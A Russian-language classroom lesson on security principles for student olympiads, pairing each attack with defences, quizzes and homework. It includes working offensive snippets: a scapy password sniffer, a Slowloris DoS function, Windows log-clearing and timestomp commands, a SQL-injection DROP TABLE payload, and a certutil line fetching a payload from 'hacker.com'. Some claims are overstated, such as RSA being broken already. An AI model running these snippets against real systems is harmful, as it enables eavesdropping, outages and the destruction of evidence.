⚔️ КИБЕРБЕЗОПАСНОСТЬ

Искусство войны в digital-пространстве

Уровень: Олимпиадный спецназ | Миссия: Понимать атаки как профессионал

🎯 СЕГОДНЯ МЫ СТАНЕМ КИБЕРВОИНАМИ

# Не просто принципы, а поля битвы
поля_битвы = {
    "Конфиденциальность": "⚔️ Битва за секреты", 
    "Целостность": "⚔️ Битва за доверие",
    "Доступность": "⚔️ Битва за контроль",
    "Аутентичность": "⚔️ Битва за идентичность",
    "Неотказуемость": "⚔️ Битва за доказательства",
    "Обнаружение": "⚔️ Битва за невидимость"
}

Наша миссия: Научиться мыслить как хакер, чтобы защищаться как эксперт

🧠 НОВАЯ ПАРАДИГМА: НЕ ЗАЩИТА, А ВОЙНА

“Чтобы защищаться, нужно думать как нападающий”

🎯 КОНФИДЕНЦИАЛЬНОСТЬ - Ваши секреты - моя добыча
🎯 ЦЕЛОСТНОСТЬ - Ваша правда - моя ложь  
🎯 ДОСТУПНОСТЬ - Ваш сервис - моя жертва
🎯 АУТЕНТИЧНОСТЬ - Ваша личность - моя маска
🎯 НЕОТКАЗУЕМОСТЬ - Ваши действия - моя невидимость
🎯 ОБНАРУЖЕНИЕ - Ваши глаза - моя слепота

🎪 РАЗМИНКА: ПРОВЕРЬ СВОЮ ПАРАНОЙЮ

Поднимите руку, если вы…

  • 📧 Получали письмо от “банка” с просьбой “проверить данные”
  • 🔑 Использовали один пароль на нескольких сайтах
  • 📱 Скачивали “крутое бесплатное приложение” из непроверенного источника
  • 💾 Думали “со мной точно ничего не случится”

1️⃣ ⚔️ КОНФИДЕНЦИАЛЬНОСТЬ: ОХОТА ЗА СЕКРЕТАМИ

Хакерская тактика: Стать невидимым свидетелем

# 🔥 РЕАЛЬНАЯ АТАКА: Прослушивание Wi-Fi (Packet Sniffing)
# Хакер в кафе перехватывает ВСЕ ваши данные
import scapy.all as scapy

def sniff_packets(interface):
    # Хакер слушает все пакеты в сети
    packets = scapy.sniff(iface=interface, store=False)
    for packet in packets:
        if packet.haslayer(scapy.Raw):
            # Ищет логины и пароли
            load = packet[scapy.Raw].load
            if b"password" in load.lower():
                print(f"🎯 НАЙДЕН ПАРОЛЬ: {load}")

# ✅ ЗАЩИТА: Шифрование всего и всегда
# HTTPS, VPN, TLS - делают перехват бесполезным

🛡️ КОНТР-АТАКА: ШИФРОВАНИЕ

# ❌ ЖЕРТВА: Отправляет данные как есть
requests.post("http://api.com/login", 
              data={"user": "admin", "pass": "secret123"})

# ✅ ЗАЩИТНИК: Шифрует ВСЕ данные

from cryptography.fernet import Fernet

cipher = Fernet(encryption_key)
encrypted_data = cipher.encrypt(b"secret_data")
requests.post("https://api.com/login", 
              data=encrypted_data)  # Хакер видит только шум

2️⃣ ⚔️ ЦЕЛОСТНОСТЬ: ИСКУССТВО ОБМАНА

Хакерская тактика: Подменить правду

# 🔥 РЕАЛЬНАЯ АТАКА: SQL-инъекция + Man-in-the-Middle
# Хакер не просто крадет, а ИЗМЕНЯЕТ ваши данные

# Жертва думает, что вводит: "Вася"
# Хакер подменяет на: "Вася'; DROP TABLE students; --"

def vulnerable_login(username):
    # ❌ УЯЗВИМЫЙ КОД
    query = f"SELECT * FROM users WHERE name = '{username}'"
    # Результат: SELECT * FROM users WHERE name = 'Вася'; DROP TABLE students; --'
    # База данных УДАЛЕНА!

# ✅ ЗАЩИТА: Parameterized queries
def secure_login(username):
    query = "SELECT * FROM users WHERE name = ?"
    cursor.execute(query, (username,))  # Данные НЕ могут изменить запрос

🛡️ КОНТР-АТАКА: ЦИФРОВЫЕ ПОДПИСИ

from cryptography.hazmat.primitives import hashes, hmac

# ✅ Подписываем все важные данные
def sign_data(data, key):
    h = hmac.HMAC(key, hashes.SHA256())
    h.update(data)
    return h.finalize()

def verify_data(data, signature, key):
    h = hmac.HMAC(key, hashes.SHA256())
    h.update(data)
    h.verify(signature)  # Выбросит исключение если данные изменены

# Хакер не может подделать подпись без ключа!

⚡ ПРАКТИКА РАЗВЕДКИ (2 минуты)

Задание: Вы - хакер. Найдите все уязвимости:

def process_payment(user_input, user_id):
    # 1. SQL-инъекция?
    query = f"UPDATE accounts SET balance = balance - {user_input['amount']} WHERE user_id = {user_id}"
    
    # 2. Подделка запроса?
    log_action(f"User {user_id} paid {user_input['amount']}")
    
    # 3. Отсутствие проверок?
    execute_payment(user_input['amount'], user_input['recipient'])
🎯 ОТВЕТ ХАКЕРА:
  • 💉 SQL-инъекция через user_input['amount']
  • 👤 Подделка user_id в логах
  • 🔄 Отсутствие проверки отправителя
  • 📝 Нет цифровой подписи операции

3️⃣ ⚔️ ДОСТУПНОСТЬ: АРМАГЕДДОН В ЦИФРАХ

Хакерская тактика: Уничтожить цифровую инфраструкруту

# 🔥 РЕАЛЬНАЯ АТАКА: DDoS + Amplification
# Хакер превращает маленький запрос в ЦУНАМИ трафика

# 1. Хакер находит уязвимый DNS-сервер
# 2. Отправляет запрос с IP-адресом жертвы
# 3. DNS-сервер шлет ОГРОМНЫЙ ответ жертве

# Коэффициент усиления: 1:60
# Хакер послал 1 МБит → Жертва получила 60 МБит

# ✅ ЗАЩИТА: DDoS-фильтры, CDN, резервирование

Олимпиадный кейс: Рассчитать минимальную мощность ботнета для “валинга” школьного сервера

🛡️ КОНТР-АТАКА: LOW-AND-SLOW ЗАЩИТА

# 🔥 АТАКА: Slowloris - висит на соединениях
import socket
import time

def slowloris_attack(target, port):
    sockets = []
    for i in range(1000):  # 1000 "висящих" соединений
        s = socket.socket()
        s.connect((target, port))
        s.send(b"GET / HTTP/1.1\r\n")
        sockets.append(s)
        time.sleep(10)  # Поддерживаем соединение

# ✅ ЗАЩИТА: 
# - Ограничение соединений с одного IP
# - Таймауты
# - Переход на nginx (устойчив к Slowloris)

4️⃣ ⚔️ АУТЕНТИЧНОСТЬ: КРИЗИС ДОВЕРИЯ

Хакерская тактика: Украсть личность

# 🔥 РЕАЛЬНАЯ АТАКА: Фишинг 2.0 + Evilginx
# Хакер не просит пароль - он ПЕРЕХВАТЫВАЕТ сессию

# 1. Вы заходите на поддельный сайт (похож на настоящий)
# 2. Вводите логин/пароль - они мгновенно передаются на настоящий сайт
# 3. Хакер перехватывает сессионные куки
# 4. Теперь он - ВЫ на настоящем сайте

# ✅ ЗАЩИТА: Аппаратные ключи FIDO2
# Даже если хакер перехватит всё - без физического ключа он ничего не сделает

🛡️ КОНТР-АТАКА: ZERO TRUST ARCHITECTURE

# ❌ СТАРАЯ МОДЕЛЬ: "Доверяй, но проверяй"
if user.ip in trusted_network:
    grant_full_access()  # ОПАСНО!

# ✅ НОВАЯ МОДЕЛЬ: "Никому не доверяй, проверяй всегда"
def zero_trust_access(user, request):
    checks = [
        verify_mfa_token(user.mfa_token),        # 1. Двухфакторка
        check_behavior_analytics(user),          # 2. Анализ поведения  
        verify_device_fingerprint(user.device),  # 3. Отпечаток устройства
        check_request_context(request)           # 4. Контекст запроса
    ]
    return all(checks)  # Только если ВСЕ проверки пройдены

5️⃣ ⚔️ НЕОТКАЗУЕМОСТЬ: ВОЙНА ДОКАЗАТЕЛЬСТВ

Хакерская тактика: Уничтожить улики

# 🔥 РЕАЛЬНАЯ АТАКА: Timestomp + Log Injection
# Хакер не просто атакует - он стирает следы

import os

def hacker_cleanup():
    # 1. Меняем временные метки файлов
    os.system("touch -t 202301010000 access.log")
    
    # 2. Чистим журналы Windows
    os.system("wevtutil cl System")
    os.system("wevtutil cl Security")
    
    # 3. Внедряем ложные записи в логи
    inject_fake_log("User admin logged in at 14:00")

# ✅ ЗАЩИТА: WORM-хранилища (Write Once Read Many)
# Записал - изменить НЕВОЗМОЖНО

🛡️ КОНТР-АТАКА: БЛОКЧЕЙН ДЛЯ АУДИТА

# ✅ Каждое действие - в блокчейн (неизменяемо!)
import hashlib

class SecurityLedger:
    def __init__(self):
        self.chain = []
    
    def add_action(self, user, action):
        block = {
            'user': user,
            'action': action,
            'timestamp': time.time(),
            'previous_hash': self.get_previous_hash(),
            'hash': self.calculate_hash(user, action)
        }
        self.chain.append(block)  # Удалишь один блок - сломается вся цепь
    
    def verify_integrity(self):
        # Проверяем, что никто не менял историю
        for i in range(1, len(self.chain)):
            if self.chain[i]['previous_hash'] != self.chain[i-1]['hash']:
                return False
        return True

6️⃣ ⚔️ ОБНАРУЖЕНИЕ: ИСКУССТВО НЕВИДИМОСТИ

**Хакерская тактика: Стать цифровым призраком

# 🔥 РЕАЛЬНАЯ АТАКА: Fileless Malware + Living Off the Land
# Хакер не устанавливает вирусы - использует легитимные инструменты

# 1. Проникает через фишинг
# 2. Загружает payload прямо в оперативную память
# 3. Использует встроенные инструменты:
#    - PowerShell для выполнения кода
#    - Windows Management Instrumentation для управления
#    - Certutil для загрузки файлов
# 4. Антивирус видит только "легитимные" процессы

# ✅ ЗАЩИТА: EDR (Endpoint Detection and Response)
# Анализирует ПОВЕДЕНИЕ, а не сигнатуры

🛡️ КОНТР-АТАКА: THREAT HUNTING

# ✅ Мы не ждем атаку - мы ОХОТИМСЯ за угрозами
class ThreatHunter:
    def look_for_indicators(self):
        indicators = [
            "Необычная активность PowerShell",
            "Сетевые соединения в нерабочее время", 
            "Попытки отключить логирование",
            "Использование легитимных утилит для вредоносных целей"
        ]
        
        for indicator in indicators:
            if self.detect_pattern(indicator):
                self.trigger_incident_response()
    
    def deploy_honeypot(self):
        # Создаем "ловушку" - фальшивые сервера с данными
        # Кто к ним подключается - тот хакер
        fake_server = setup_honeypot()
        return fake_server

🎪 КВЕСТ: РАССЛЕДУЙ КИБЕРПРЕСТУПЛЕНИЕ

Сценарий: Из школьного журнала пропали все оценки за четверть.

Данные:

  • 📅 Время инцидента: 02:00 ночи
  • 🔍 В логах: 1000+ запросов к API оценок
  • 👤 В системе: запись от учителя математики
  • 💾 На сервере: очищены логи за последний час

Ваша задача: Определить какие принципы нарушены и КАК это произошло

🔍 РЕШЕНИЕ ДЕТЕКТИВА

нарушенные_принципы = {
    "Конфиденциальность": "❌ НЕТ - оценки не секретны",
    "Целостность": "✅ ДА - данные изменены", 
    "Доступность": "✅ ДА - сервис мог быть перегружен",
    "Аутентичность": "✅ ДА - учитель мог не быть учителем",
    "Неотказуемость": "✅ ДА - очистка логов скрывает следы",
    "Обнаружение": "✅ ДА - атака была скрытой"
}

версия_атаки = """
1. 📧 Фишинг учителя → кража учетных данных
2. 🔄 DDoS для отвлечения внимания  
3. 👤 Вход под учеткой учителя в 02:00
4. 🗑️ SQL-инъекция для удаления оценок
5. 🧹 Очистка логов через уязвимость
"""

🧪 ТЕСТ КИБЕРВОИНА

Вопрос 1: Вы обнаружили подозрительный процесс

# Процесс использует легитимные системные утилиты
powershell.exe -EncodedCommand SQBFAFgA...
certutil -urlcache -split -f http://hacker.com/tool.exe

Это похоже на:

  • A) Системное обновление
  • B) Атаку Living Off the Land
  • C) Ошибку Windows
  • D) Вирусную активность
⚔️ ОТВЕТ ВОИНА: B - использование легитимных инструментов для вредоносных целей

Вопрос 2: Ваш сайт “лег” под нагрузкой

Логи показывают:

  • 📊 1,000,000 DNS-запросов в секунду
  • 🌐 Запросы приходят с поддельных IP-адресов
  • ⚡ Каждый запрос в 50 раз больше обычного

Это:

  • A) Внезапная популярность
  • B) DNS Amplification DDoS
  • C) Сетевые неполадки
  • D) Атака на конфиденциальность
⚔️ ОТВЕТ ВОИНА: B - классическая атака отражения/усиления

Вопрос 3: Пользователь отрицает действие

def transfer_funds(sender, receiver, amount):
    # Деньги переведены, но...
    log_file.write(f"{sender} -> {receiver}: {amount}")
    # Лог-файл позже удален

Как доказать, что он это сделал?

  • A) Показать лог-файл
  • B) Использовать цифровые подписи
  • C) Записывать в WORM-хранилище
  • D) B + C
⚔️ ОТВЕТ ВОИНА: D - подписи + неизменяемое хранилище

🛡️ АРСЕНАЛ КИБЕРВОИНА

Обязательный набор:

  • ✅ [ ] Шифрование - для конфиденциальности
  • ✅ [ ] Цифровые подписи - для целостности
  • ✅ [ ] DDoS-защита - для доступности
  • ✅ [ ] MFA/FIDO2 - для аутентичности
  • ✅ [ ] Блокчейн-аудит - для неотказуемости
  • ✅ [ ] EDR/Threat Hunting - для обнаружения

Элитное оружие:

  • 🚀 Zero Trust - Никому не верь, все проверяй
  • 🚀 Deception Technology - Ловушки для хакеров
  • 🚀 AI/ML детектирование - Предсказание атак

🎯 ТРЕНИРОВОЧНАЯ МИССИЯ

Ваша цель: Защитить школьный сервер экзаменов

Угрозы:

  • 👾 Хакеры хотят украсть ответы
  • 💣 Конкуренты могут “положить” сервер
  • 👻 Кто-то может изменить результаты

Ваш план защиты на 3 уровня:

  1. 🛡️ Периметр - DDoS-защита, WAF
  2. 🛡️ Данные - Шифрование, подписи
  3. 🛡️ Мониторинг - EDR, охота за угрозами

🏆 КОДЕКС КИБЕРВОИНА

  1. Пароль - это СЛАБО → Используй аппаратные ключи
  2. Данные без подписи - ЛОЖЬ → Все подписывай
  3. Сервис без лимитов - МИШЕНЬ → Все ограничивай
  4. Действие без лога - ПРИЗРАК → Все записывай
  5. Угрозы без поиска - НЕВИДИМКИ → Активно охотись

Помни: Хакеру нужно найти одну уязвимость. Тебе - защитить их все.

📜 ДОМАШНЯЯ МИССИЯ

На выбор (уровень сложности):

🥷 Ниндзя (легко) - Найди уязвимости в коде и объясни КАК их использовать

⚔️ Самурай (средне) - Исправь уязвимый код и добавь защитные механизмы

🐲 Дракон (сложно) - Спроектируй систему защиты для банка с нуля

Экстра-миссия: Придумай новую атаку, которой еще нет в учебниках!

💫 ЭПИЛОГ: БУДУЩЕЕ УЖЕ ЗДЕСЬ

Следующий фронт:

  • 🤖 AI-против-AI - генеративные атаки против ML-защиты
  • ⚛️ Квантовый взлом - RSA и ECC больше не безопасны
  • 🧠 Нейро-интерфейсы - защита мыслей как данных

Твоя миссия: Не просто использовать технологии, а понимать их настолько глубоко, чтобы предвидеть угрозы завтрашнего дня.